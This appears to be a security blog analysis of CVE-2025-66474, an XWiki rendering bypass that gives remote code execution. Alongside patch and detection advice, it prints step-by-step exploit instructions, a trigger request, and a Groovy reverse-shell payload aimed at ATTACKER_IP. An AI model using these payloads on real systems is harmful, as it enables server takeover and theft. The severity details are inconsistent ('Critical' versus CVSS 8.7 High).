Listen to this Post
CVE-2025-66474: Technical Analysis of XWiki Rendering Output Escaping Bypass Leading to Remote Code Execution
XWiki Rendering is a generic rendering system that converts textual input in a given syntax (wiki syntax, HTML, etc.) into another syntax (XHTML, etc.). CVE-2025-66474 is a critical vulnerability in the XWiki Rendering engine that allows any authenticated user with edit rights on a document (including their own user profile) to execute arbitrary script macros, including Groovy and Python macros, resulting in remote code execution (RCE) with programming rights.
The root cause of this vulnerability is insufficient escaping of rendering output when it is included as content within HTML macros. In XWiki, the HTML macro ({{html}}...{{/html}}) is designed to render raw HTML content. However, when rendering output (such as the output of a nested macro) is embedded inside an HTML macro, the system fails to properly escape closing macro syntaxes like {{/html}}. This allows an attacker to close the surrounding HTML macro prematurely and inject their own script macros that are executed with programming rights.
The vulnerability is exploitable through several vectors. The primary attack path involves adding an `XWiki.UIExtensionClass` object to a document (such as the user profile page) with carefully crafted content that includes a closing HTML macro tag followed by a script macro. For example, adding an object of type `XWiki.UIExtensionClass` to a document with the content {{html wiki="true"}}~{~{~/~h~t~m~l~}~}~ ~{~{~c~a~c~h~e~}~}~{~{~g~r~o~o~v~y~}~}~p~r~i~n~t~l~n~(~1~)~{~{~/~g~r~o~o~v~y~}~}~{~{~/~c~a~c~h~e~}~}{{/html}}, with extension point ID org.xwiki.platform.html.head, extension ID org.xwiki.myuser.test, and extension scope “current user”, will cause arbitrary Groovy code to execute when the affected page is rendered.
A simpler proof-of-concept involves inserting the content `{{html}}{{/html {{/html}}}}` into any field of the user profile that supports wiki syntax, such as the “About” field. If this leads to the display of raw HTML, the instance is vulnerable.
The vulnerability has existed since at least XWiki syntax version 2 and is definitely exploitable in XWiki 3.3 Milestone 1 via the user profile, though this was also fixed by a separate patch. Exploitable extension points include org.xwiki.platform.search.ui.docdoesnotexist, which was added in XWiki 8.3 Milestone 1.
The vulnerability was patched by extending the escaping introduced by XRENDERING-693 to also cover closing HTML macros that have spaces after the macro name in XWiki 16.10.10, 17.4.3, and 17.6.0RC1. A similar fix has been applied in `org.xwiki.platform:xwiki-platform-oldcore` as an extra safety net, see XWIKI-23378.
DailyCVE Form:
Platform: XWiki Platform
Version: 16.10.10
Vulnerability: RCE
Severity: Critical
date: 2025-12-10
Prediction: 2026-03-01
What Undercode Say:
Analytics
CVE-2025-66474 - XWiki Rendering HTML Macro Injection RCE
Authenticated user with edit rights can achieve remote code execution
Vulnerable versions: XWiki Rendering < 16.10.10, >= 17.0.0-rc-1 < 17.4.3, >= 17.5.0-rc-1 < 17.6.0-rc-1
Proof of Concept - Basic Injection Test
Insert into user profile "About" field:
{{html}}{{/html {{/html}}}}
If raw HTML is displayed, instance is vulnerable
Proof of Concept - Groovy RCE via UIExtensionClass
1. Login as any authenticated user
2. Navigate to your user profile
3. Add an object of type XWiki.UIExtensionClass
Extension Parameters content:
label={{/html}} {{async async="true" cached="false" context="doc.reference"}}
{{groovy}}println("Hello " + "from groovy!"){{/groovy}}{{/async}}
Extension Point ID: org.xwiki.platform.html.head
Extension ID: org.xwiki.myuser.test
Extension Scope: current user
Navigate to the following URL to trigger execution:
curl -s "http://TARGET/xwiki/bin/view/PanelsCode/ApplicationsPanelConfigurationSheet"
If vulnerable, response will contain "Hello from groovy!"
Advanced Groovy Reverse Shell Payload
{{groovy}}
def process = new ProcessBuilder("/bin/bash", "-c",
"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1").start()
{{/groovy}}
// Groovy RCE payload for XWiki CVE-2025-66474
// Execute arbitrary commands with programming rights
def cmd = "id"
def process = new ProcessBuilder("/bin/bash", "-c", cmd).start()
def output = process.inputStream.text
println(output)
Exploit: (Educational Purposes!)
The exploit leverages the insufficient escaping of rendering output within HTML macros. When a user-editable field (such as the user profile “About” section) contains a closing HTML macro tag followed by script macro syntax, the rendering engine fails to properly escape the output. This allows the attacker to break out of the HTML macro context and inject script macros that execute with programming rights.
The attack requires only authenticated access with edit permissions on a document. No administrative privileges are needed. The injected Groovy or Python macros execute on the server with the same privileges as the XWiki application process, allowing unrestricted read and write access to all wiki contents.
Attack Chain Summary:
1. Authenticate to XWiki with any user account
- Navigate to a document that can be edited (user profile is ideal)
- Inject the crafted payload containing `{{/html}}` followed by a script macro
- When the page is rendered (by the attacker or any other user), the script macro executes
5. Achieve remote code execution with programming rights
Impact of Successful Exploitation:
- Unrestricted read/write access to all wiki contents
- Remote code execution on the XWiki server
- Potential full system compromise depending on server configuration
- Data exfiltration, lateral movement, and persistent access
Protection: from this CVE
Immediate Mitigation:
- Upgrade to XWiki 16.10.10, 17.4.3, or 17.6.0RC1 or later
- For users unable to upgrade immediately, restrict edit permissions on user profiles and documents to trusted users only
- Monitor for suspicious `XWiki.UIExtensionClass` objects being added to documents
- Implement Web Application Firewall (WAF) rules to block requests containing `{{/html}}` in user-editable fields
Long-Term Hardening:
- Apply the principle of least privilege to all user accounts
- Regularly audit user-editable content for suspicious macro syntax
- Enable XWiki’s security features and keep the platform updated
- Review and restrict script macro execution rights for non-administrative users
Detection:
- Monitor XWiki logs for unexpected Groovy/Python macro executions
- Alert on modifications to `PanelsCode.ApplicationsPanelConfigurationSheet` and similar configuration pages
- Track creation of `XWiki.UIExtensionClass` objects, especially by non-administrative users
Impact:
Any user who can edit their own user profile or any other document can execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. The vulnerability enables a complete compromise of the XWiki installation, including the ability to read and modify all wiki content, execute arbitrary commands on the underlying server, and potentially pivot to other systems on the network. The CVSS score for this vulnerability is 8.7 (High) with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
